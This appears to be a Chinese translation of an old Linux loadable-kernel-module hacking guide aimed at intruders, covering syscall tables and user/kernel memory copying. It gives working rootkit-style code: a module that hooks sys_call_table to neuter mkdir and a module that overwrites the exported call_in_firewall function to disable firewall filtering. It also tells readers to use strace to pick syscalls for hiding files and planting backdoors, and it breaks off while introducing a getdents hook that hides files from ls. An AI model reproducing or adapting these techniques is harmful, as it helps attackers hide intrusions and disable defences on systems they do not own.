I. 基础
1. 什么是可卸载模块
2. 什么是系统调用
3. 什么是核心符号表(Kernel-Symbol-Table)
4. 如何将核心转换到用户空间
5. 象使用函数一样访问用户空间的方法
6. 看看极其重要的内核函数
7. 什么是核心守护进程
8. 建立你自己的Devices
II. 有趣及有益的一些东西
1. 如何截获系统调用
2. 用来截取的一些有趣的系统调用
4. 文件系统相关的操作
III. 解决办法(给网络管理员)
1. LKM检测理论
IV. 一些不错的想法(给黑客的)
1. 欺骗系统管理员的LKMs
2. 修补内核 - 或者创建我们自己的OS
V. 将来 : Kernel 2.2
1. 对LKM作者来说主要的区别
VI. 写在最后
1. LKM的"故事"以及如何使一个系统既好用又安全
2. 一些资源的链接
感谢
致意
附录
A - 源代码
Linux操作系统在现在是越来越普遍地用于各种服务器了.因此,入侵Linux在今天也变得越来越有趣.目前最好的攻击Linux的技术就是修改内核代码.由于一种叫做可卸载内核(Loadable KernelModules(LKMs))的机制, 我们有可能编写在内核级别运行的代码,而这种代码可以允许我们接触到操作系统中非常敏感的部分.在过去有一些很好的关于LKM知识的文本或者文件,他们介绍一些新的想法,方法以及一名Hacker所梦寐以求的完整的LKMs. 而且也有一些很有趣的公开的讨论(在新闻组,邮件列表).
然而为什么我还要再写这些关于LKMs的东西呢?下面是我的一些理由 :
int init_module(void) /*用于初始化所有的数据*/ { ... } void cleanup_module(void) /*用于清除数据从而能安全地退出*/ { ... }
加载一个模块(常常只限于root能够使用)的命令是: # insmod module.o 这个命令让系统进行了如下工作:
#define MODULE #include <Linux/module.h> int init_module(void) { printk("<1>Hello World\n"); return 0; } void cleanup_module(void) { printk("<1>Bye, Bye"); }
你可能会奇怪为什么在这里我用printk(....)而不是printf(.....).在这里你要明白内核编程是完全不同于普通的用户环境下的编程的!
你只能使用很有限的一些函数(见1.6)仅使用这些函数你是干不了什么的.因此,你将会学会如何使用你在用户级别中用的那么多函数来帮助你入侵内核.耐心一些,在此之前我们必须做一点其他的.....
上面的那个例子可以很容易的被编译:
# gcc -c -O3 helloworld.c
# insmod helloworld.o
OK,现在我们的模块已经被加载了并且给我们打印出了那句很经典的话.现在你可以通过下面这个命令来确认你的 LKM确实运行在内核级别中:
# lsmod
Module Pages Used by helloworld 1 0
这个命令读取在 /proc/modules 的信息来告诉你当前那个模块正被加载.'Pages' 显示的是内存的信息(这个模块占了多少内存页面).'Used by'显示了这个模块被系统 使用的次数(引用计数).这个模块只有当这个计数为0时才可以被除去.在检查过这个以后,你可以用下面的命令卸载这个模块。
# rmmod helloworld
好了,这不过是我们朝LKMs迈出的很小的一步.我常常把这些LKMs于老的DOS TSR程序做比较,(是的,我知道他们之间有很多地方不一样),那些TSR能够常驻在内存并且截获到我们想要的中断.Microsoft's Win9x 有一些类似的东西叫做VxD.关于这些程序的最有意思的一点在于他们都能够挂在一些系统的功能上,在Linux 中我们称这些功能为系统调用。
#ifndef _SYS_SYSCALL_H #define _SYS_SYSCALL_H #define SYS_setup 0 /* 只被init使用,用来启动系统的 */ #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_waitpid 7 #define SYS_creat 8 #define SYS_link 9 #define SYS_unlink 10 #define SYS_execve 11 #define SYS_chdir 12 #define SYS_time 13 #define SYS_prev_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_break 17 #define SYS_oldstat 18 #define SYS_lseek 19 #define SYS_getpid 20 #define SYS_mount 21 #define SYS_umount 22 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_stime 25 #define SYS_ptrace 26 #define SYS_alarm 27 #define SYS_oldfstat 28 #define SYS_pause 29 #define SYS_utime 30 #define SYS_stty 31 #define SYS_gtty 32 #define SYS_access 33 #define SYS_nice 34 #define SYS_ftime 35 #define SYS_sync 36 #define SYS_kill 37 #define SYS_rename 38 #define SYS_mkdir 39 #define SYS_rmdir 40 #define SYS_dup 41 #define SYS_pipe 42 #define SYS_times 43 #define SYS_prof 44 #define SYS_brk 45 #define SYS_setgid 46 #define SYS_getgid 47 #define SYS_signal 48 #define SYS_geteuid 49 #define SYS_getegid 50 #define SYS_acct 51 #define SYS_phys 52 #define SYS_lock 53 #define SYS_ioctl 54 #define SYS_fcntl 55 #define SYS_mpx 56 #define SYS_setpgid 57 #define SYS_ulimit 58 #define SYS_oldolduname 59 #define SYS_umask 60 #define SYS_chroot 61 #define SYS_prev_ustat 62 #define SYS_dup2 63 #define SYS_getppid 64 #define SYS_getpgrp 65 #define SYS_setsid 66 #define SYS_sigaction 67 #define SYS_siggetmask 68 #define SYS_sigsetmask 69 #define SYS_setreuid 70 #define SYS_setregid 71 #define SYS_sigsuspend 72 #define SYS_sigpending 73 #define SYS_sethostname 74 #define SYS_setrlimit 75 #define SYS_getrlimit 76 #define SYS_getrusage 77 #define SYS_gettimeofday 78 #define SYS_settimeofday 79 #define SYS_getgroups 80 #define SYS_setgroups 81 #define SYS_select 82 #define SYS_symlink 83 #define SYS_oldlstat 84 #define SYS_readlink 85 #define SYS_uselib 86 #define SYS_swapon 87 #define SYS_reboot 88 #define SYS_readdir 89 #define SYS_mmap 90 #define SYS_munmap 91 #define SYS_truncate 92 #define SYS_ftruncate 93 #define SYS_fchmod 94 #define SYS_fchown 95 #define SYS_getpriority 96 #define SYS_setpriority 97 #define SYS_profil 98 #define SYS_statfs 99 #define SYS_fstatfs 100 #define SYS_ioperm 101 #define SYS_socketcall 102 #define SYS_klog 103 #define SYS_setitimer 104 #define SYS_getitimer 105 #define SYS_prev_stat 106 #define SYS_prev_lstat 107 #define SYS_prev_fstat 108 #define SYS_olduname 109 #define SYS_iopl 110 #define SYS_vhangup 111 #define SYS_idle 112 #define SYS_vm86old 113 #define SYS_wait4 114 #define SYS_swapoff 115 #define SYS_sysinfo 116 #define SYS_ipc 117 #define SYS_fsync 118 #define SYS_sigreturn 119 #define SYS_clone 120 #define SYS_setdomainname 121 #define SYS_uname 122 #define SYS_modify_ldt 123 #define SYS_adjtimex 124 #define SYS_mprotect 125 #define SYS_sigprocmask 126 #define SYS_create_module 127 #define SYS_init_module 128 #define SYS_delete_module 129 #define SYS_get_kernel_syms 130 #define SYS_quotactl 131 #define SYS_getpgid 132 #define SYS_fchdir 133 #define SYS_bdflush 134 #define SYS_sysfs 135 #define SYS_personality 136 #define SYS_afs_syscall 137 /* 用于Andrew文件系统的syscall */ #define SYS_setfsuid 138 #define SYS_setfsgid 139 #define SYS__llseek 140 #define SYS_getdents 141 #define SYS__newselect 142 #define SYS_flock 143 #define SYS_syscall_flock SYS_flock #define SYS_msync 144 #define SYS_readv 145 #define SYS_syscall_readv SYS_readv #define SYS_writev 146 #define SYS_syscall_writev SYS_writev #define SYS_getsid 147 #define SYS_fdatasync 148 #define SYS__sysctl 149 #define SYS_mlock 150 #define SYS_munlock 151 #define SYS_mlockall 152 #define SYS_munlockall 153 #define SYS_sched_setparam 154 #define SYS_sched_getparam 155 #define SYS_sched_setscheduler 156 #define SYS_sched_getscheduler 157 #define SYS_sched_yield 158 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_rr_get_interval 161 #define SYS_nanosleep 162 #define SYS_mremap 163 #define SYS_setresuid 164 #define SYS_getresuid 165 #define SYS_vm86 166 #define SYS_query_module 167 #define SYS_poll 168 #define SYS_syscall_poll SYS_poll #endif /* <sys/syscall.h> */
每个系统调用都有一个预定义的数字(见上表),那实际上是用来进行这些调用的.内核通过中断 0x80来控制每一个系统调用.这些系统调用的数字以及任何参数都将被放入某些寄存器(比如说, eax是用来放那些代表系统调用的数字)
那些系统调用的数字是一个被称之为sys_call_table[]的内核中的数组结构的索引值.这个结构把系统调用的数字映射到实际使用的函数。
OK,这些是继续阅读所必须的足够知识了.下面的表列出了那些最有意思的系统调用以及一些简短的注释.相信我,为了你能够真正的写出有用的LKM你必须确实懂得那些系统调 用是如何工作的。
系统调用 | 描述 |
---|---|
int sys_brk(unsigned long new_brk); | 改变DS(数据段)的大小->这个系统调用会在1.4中讨论 |
int sys_fork(struct pt_regs regs); | 著名的fork()所用的系统调用 |
int sys_getuid () int sys_setuid (uid_t uid) ... |
用于管理UID等等的系统调用 |
int sys_get_kernel_sysms(struct kernel_sym *table) | 用于存取系统函数表的系统调用(->1.3) |
int sys_sethostname (char *name, int len); int sys_gethostname (char *name, int len); |
sys_sethostname是用来设置主机名(hostname)的,sys_gethostname是用来取的 |
int sys_chdir (const char *path); int sys_fchdir (unsigned int fd); |
两个函数都是用于设置当前的目录的(cd ...) |
int sys_chmod (const char *filename, mode_t mode); int sys_chown (const char *filename, mode_t mode); int sys_fchmod (unsigned int fildes, mode_t mode); int sys_fchown (unsigned int fildes, mode_t mode); |
用于管理权限的函数 |
int sys_chroot (const char *filename); | 用于设置运行进程的根目录的 |
int sys_execve (struct pt_regs regs); | 非常重要的系统调用->用于执行一个可执行文件的(pt_regs是堆栈寄存器) |
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg); | 改变fd(打开文件描述符)的属性的 |
int sys_link (const char *oldname, const char *newname); int sym_link (const char *oldname, const char *newname); int sys_unlink (const char *name); |
用于管理硬/软链接的函数 |
int sys_rename (const char *oldname, const char *newname); | 用于改变文件名 |
int sys_rmdir (const char* name); int sys_mkdir (const *char filename, int mode); |
用于新建\删除目录 |
int sys_open (const char *filename, int mode); int sys_close (unsigned int fd); |
所有和打开文件(包括新建)有关的操作,还有关闭文件的. |
int sys_read (unsigned int fd, char *buf, unsigned int count); int sys_write (unsigned int fd, char *buf, unsigned int count); |
读写文件的系统调用 |
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); | 用于取得文件列表的系统调用(ls...命令) |
int sys_readlink (const char *path, char *buf, int bufsize); | 读符号链接的系统调用 |
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp); | 多路复用I/O操作 |
sys_socketcall (int call, unsigned long args); | socket 函数 |
unsigned long sys_create_module (char *name, unsigned long size); int sys_delete_module (char *name); int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret); |
用于模块的加载/卸载和查询. |
以上就是我认为入侵者会感兴趣的系统调用.当然如果要获得系统的root权你有可能需要一些特殊的系统调用, 但是作为一个hacker他很可能会拥有一个上面列出的最基本的列表.在第二部分中你会知道如何利用这些系统调用来实现你自己的目的。
static struct symbol_table module_syms= { /*定义了我们的符号表!*/ #include <linux/symtab_begin.h> /*我们要export出去的符号*/ ... }; register_symtab(&module_syms); /*正常注册*/
现在,如果我们不想把符号export出去,那么只要用下面的代码就可以了:
register_symtab(NULL);
记往,它必须插入到init_module()函数块中!
这对非核心黑客的人可能难于理解,但其实是相当简单的,看下面的systemcall:
int sys_chdir (const char *path)
想象一下,系统调用了它,而我们在中途将其截获(具体方法将在II描述),我们需要检查用户希望设定的路径,所以我们要得到const char *path的值,如果你想用下面的方式打印出path变量的话:
printk("<1>%s\n", path);
在这里你将碰上大问题了……
记住你是在内核空间里,你无法轻易地象平常那样读取用户的内存空间,还好,在Pharck 52 期中, plaguez给了我们一个方法,它用核心模式函数(uses a kernel mode function)(宏)来找回用户内存空间的字节:
#include <asm/segment.h> get_user(pointer);
这个函数指向我们的 *path 的位置,可以帮助我们从用户模式获取需要的内容到内核空间,可以观察下面由 plaguez提供的,将某strings从用户模式移到内核空间的例子:
char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; }
如果你想转换 *path 变量,我们可以使用下面的核心代码:
char *kernel_space_path; kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*分配内存空间于核心*/ (void) strncpy_fromfs(test, path, 20); /*调用plaguez的函数*/ printk("<1>%s\n", kernel_space_path); /*现在我们可以自由地使用该数据了*/ kfree(test); /*释放内存*/
以上的代码可以很好的运行,因为一般的转换相当复杂,plaguez仅仅用来转换strings,如果要转换常规的数据,那么下面的代码可能是最易实现的了:
#include <asm/segment.h> void memcpy_fromfs(void *to, const void *from, unsigned long count);
这两个函数都是同一类型的,但第二个更适合用于数据传输,plaguez的那个可于用于字符传递。
现在我们已经了解了如何从用户内存空间转换到内核空间了,余下的部分就有些困难了——因为我们无法轻易地从我们的内核空间的位置分配一块内存给用户模式,如果能解决这一问题的话,我们就能用:
#include <asm/segment.h> void memcpy_tofs(void *to, const void *from, unsigned long count);
来完成目前的转换,但如何给*to这个指针分配内存空间呢,plaguez在phrack的文章里给出了一个解决办法:
/*需要brk调用*/ static inline _syscall1(int, brk, void *, end_data_segment); ... int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
这是一个很好的例子。 current是一个指向当前进程structure的指针; mm是一个指向mm_struct的指针,负责进程的内存控制。然后通过使用brk系统调用于current->mm->brk我们就可以增 加未使用的数据段的大小。而且大家知道通过对数据段的操作,我们可以分配内存,所以通过加大未使用的范围大小,我们可以给current进程分配内存空 间,这一空间可以用来拷贝内核空间到用户模式。
你可能会对上面代码的第一行感到有些迷惑,这一行帮我们使用用户模式(user space)的函数于内核空间(kernel space),所有的用户模式函数通过宏_syscall(...)提供我们一些调用(如fork,brk,open,read,write),所以我们可以通过_syscall(...)构造一些user space函数,这儿呢,是brk(...)。
请参见I.5 来察看细节。
#define _syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1))); \ if (__res >= 0) \ return (type) __res; \ errno = -__res; \ return -1; \ }
你并不需要弄懂这段代码的全部功能,它只不过是用_syscall1所提供的参数(参见I.2)来调用 0x80中断罢了。name所表示的是我们所需要的那个系统调用(name会被替换成在/asm/unistd.h中定义的 __NR_name)(按:也就是说如果我们在构建brk, 这里的name的值就是brk, 将会得到__NR_brk, 至于 __NR_brk的值是什么,得去查一下/asm/unistd.h; 同理,下面提到的open对应__NR_open). brk函数就是通过这样的途径构造出来的。其他拥有不同数目的函数是通过其他宏来实现的(如 _syscallX, X代表函数的总参数个数)。(按:有一个参数的函数用_syscall1(...), 两个的用_syscall2(...), 依此类推)。
除了用宏定义重定义系统调用外,还有更简单的方法:
int (*open)(char *, int, int); /*声明函数原型*/ open = sys_call_table[SYS_open]; /*这里你也可以使用 __NR_open*/
这种方法你并不需要用任何的系统宏调用,你只要用sys_call_table中得到的函数指针就行了。当搜索 WEB的时候,发现SVAT的著名LKM infector也是用这种方法来构建用户空间函数的。我个人认为这是一个好的方法,但(是否如此)得由你自己来检验和判断。
当你传递参数给那些系统调用的时候要小心,它们需要的参数要求要在用户空间而不是在你的内核空间。想了解如何把你的内核空间数据传递到用户空间的内存中,请参阅I.4。
一 个非常容易的(我认为是最好的)下手点就是摆弄一下所需要的寄存器。Linux使用了段选器来区分内核空间、用户空间等等,这是你必需要了解的。被系统调 用所用到的而存放在用户空间中的参数应该在数据段选器(所指的)范围的某个地方。[我在I.4节中没有提到,因为在这一节中提更合适。]
DS能够用asm/segment.h中的get_ds()函数得到。只要我们把被内核用来指向用户段的段选器设成所需要的 DS值,我们就能够在内核中访问系统调用所用到的(那些在用户地址空间中的)那些用做参数值的数据。这可以通过调用set_fs(...)来做到。但要小心,访问完系统调用的参数后,你一定要恢复FS。好,让我们来看看一段有用的代码:
->filename在你的内核空间;比如说我们刚创建了一个字串 unsigned long old_fs_value=get_fs(); set_fs(get_ds); /*完成之后你就可以存取用户空间了*/ open(filename, O_CREAT|O_RDWR|O_EXCL, 0640); set_fs(old_fs_value); /*恢复 fs ...*/
在我看来,这应该是最简单快捷的实现方法了。
记住:到目前为止我所列举的函数(brk, open)都是通过使用一个单一系统调用来实现的。但是还有一些归了类的在用户空间使用的函数,它们都集中在一起只用一个系统调用来实现。看一看在I.2节中那些我们感兴趣的系统调用列表,比如说sys_socketcall吧, 它(集中)实现了每一个和socket相关的函数(creation, closing, sending, recieving, ...).
所以当你构建你的函数时要小心,一定要看一下内核的源代码。
函数/宏 | 描述 |
---|---|
int sprintf (char *buf, const char *fmt, ...); int vsprintf (char *buf, const char *fmt, va_list args); |
用来将数据包装成字符的函数 |
printk (...) | 仿佛printf……功能相同 |
void *memset (void *s, char c, size_t count); void *memcpy (void *dest, const void *src, size_t count); char *bcopy (const char *src, char *dest, int count); void *memmove (void *dest, const void *src, size_t count); int memcmp (const void *cs, const void *ct, size_t count); void *memscan (void *addr, unsigned char c, size_t size); |
内存函数 |
int register_symtab (struct symbol_table *intab); | 参见 I.1 |
char *strcpy (char *dest, const char *src); char *strncpy (char *dest, const char *src, size_t count); char *strcat (char *dest, const char *src); char *strncat (char *dest, const char *src, size_t count); int strcmp (const char *cs, const char *ct); int strncmp (const char *cs,const char *ct, size_t count); char *strchr (const char *s, char c); size_t strlen (const char *s); size_t strnlen (const char *s, size_t count); size_t strspn (const char *s, const char *accept); char *strpbrk (const char *cs, const char *ct); char *strtok (char *s, const char *ct); |
字符串比较函数等等…… |
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base); | 将字符转化为数字 |
get_user_byte (addr); put_user_byte (x, addr); get_user_word (addr); put_user_word (x, addr); get_user_long (addr); put_user_long (x, addr); |
用来进入用户内存的函数 |
suser(); fsuser(); |
检查超级用户的权限 |
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops); int unregister_chrdev (unsigned int major, const char *name); int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops); int unregister_blkdev (unsigned int major, const char *name); |
用来注册设备驱动的函数 ..._chrdev -> 字符设备 ..._blkdev -> 块设备 |
请记住,这些函数也可以象上面I.5 节所描述的那样进行利用,但并不是非常实用。
下面你将发现这些函数,特别是字符串比较函数,对实现我们的目的有很大帮助。
function | description | |
---|---|---|
int sprintf (char *buf, const char *fmt, ...); int vsprintf (char *buf, const char *fmt, va_list args); |
用来将数据包装成字符的函数 | |
int request_module (const char *name); | 告诉kerneld说kernel需要哪些模块,给出名称或者ID | |
int release_module (const char* name, int waitflag); | 卸载模块 | |
int delayed_release_module (const char *name); | 延迟卸载 | |
int cancel_release_module (const char *name); | 取消对一个delayed_release_module的调用 | |
注意 : Kernel 2.2 使用了另一种机制来呼出模块,你可以从第V部份得到相关资料。
在附录A里面介绍了一个TTY Hijacking工具,需要打开一个device来记录它的结果,现在我们先看一个非常基础的device driver的例子。下面的代码——仅为示范用的,它几乎什么也不做……;)
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*仅是一个用来验证的无功能的函数*/ static int driver_open(struct inode *i, struct file *f) { printk("<1>Open Function\n"); return 0; } /*注册所有的函数*/ static struct file_operations fops = { NULL, /*lseek*/ NULL, /*read*/ NULL, /*write*/ NULL, /*readdir*/ NULL, /*select*/ NULL, /*ioctl*/ NULL, /*mmap*/ driver_open, /*open, take a look at my dummy open function*/ NULL, /*release*/ NULL /*fsync...*/ }; int init_module(void) { /*以major 40 来注册driver及name driver*/ if(register_chrdev(40, "driver", &fops)) return -EIO; return 0; } void cleanup_module(void) { /*卸下driver*/ unregister_chrdev(40, "driver"); }
这里最重要的函数是register_chrdev(...),它用来注册我们的driver,如果你希望访问这个driver,按下面的方法:
# mknode /dev/driver c 40 0
# insmod driver.o
这些事都做完了后,你就可以利用这个device了,当然它除了打印一行字出来以外,没有其它任何功能了,在file_operations 这个结构中给出了这个driver提供给系统的各种可能的操作,上面仅仅是演示了一个简单的device,你完全可以简单地仿照上面的示范做一个device,比如,如果你希望记录数据——比如击键,你就需要一个buffer来存放它,并充当一个用户界面。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*sys_call_table 被引入,所以我们可以存取他*/ int (*orig_mkdir)(const char *path); /*原始系统调用*/ int hacked_mkdir(const char *path) { return 0; /*一切正常,除了新建操作,该操作什么也不做*/ } int init_module(void) /*初始化模块*/ { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) /*卸载模块*/ { sys_call_table[SYS_mkdir]=orig_mkdir; /*恢复mkdir系统调用到原来的那个*/ }
编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我 们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:
好,现在用strace来运行这个程序(也许你需要root权限来执行他) # strace super_admin_proggy 这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看'strace whoami'的输出:
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
write(1, "r00t\n", 5r00t
) = 5
_exit(0) = ?
这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。
我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.
所有/proc/ksyms里的东西都可能被利用,但如果没有被export于核心符号表的话就没办法了。下面是我的/proc/ksyms里的一部份,仅仅告诉你能够编辑什么;)
...
001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
...
我们只看看call_in_firewall吧,这个函数是用来在核心级控制防火墙的,如果我们伪造一个扔进去的话,会发生什么呢?
看看下面的LKM吧 :
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*获取export出来的函数*/ extern int *call_in_firewall; /*我们自己瞎编的call_in_firewall*/ int new_call_in_firewall() { return 0; } int init_module(void) /*加载*/ { call_in_firewall=new_call_in_firewall; return 0; } void cleanup_module(void) /*卸载*/ { }
编译并加载该LKM后,你可以试试ipfwadm -I -a deny,当做完这个以后,你ping 127.0.0.1 试试看,你会发现你的核心发送了一些出错信息,这是由于你调用的call_in_firewall(...)函数已经被伪劣产品取代了;)
当然这是一个很粗暴的杀掉exportd出来的符号表的办法,你可以用gdb来解开某个symbol并且编辑其中的某些代码段,这会更巧妙地实现替代功能,想象有一个IF THEN结构的代码用于exported出来的函数,将其分解并且寻找命令如JNZ, JNE, ... 用这种方法你可以对一些系统调用进行修改,当然,你也可以察看kernel / module的源代码找出函数,但如果symbols是二进制的模块而无又无法获得代码时,如何做就需要好好动脑筋了。
我们想一下系统管理员是如何找到你的文件的吧——他用ls命令来查找一切感兴趣的东西,其实ls是利用了下面这个系统调用来获得文件及目录列表的。
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
现在我们知道从哪里下手攻击了,下面的代码演示了hacked_getdents调用,这一模块能够将文件隐藏于ls之类利用getents系统调用察看文件的程序后面——也就是说,ls之类的程序看不到你的文件了。
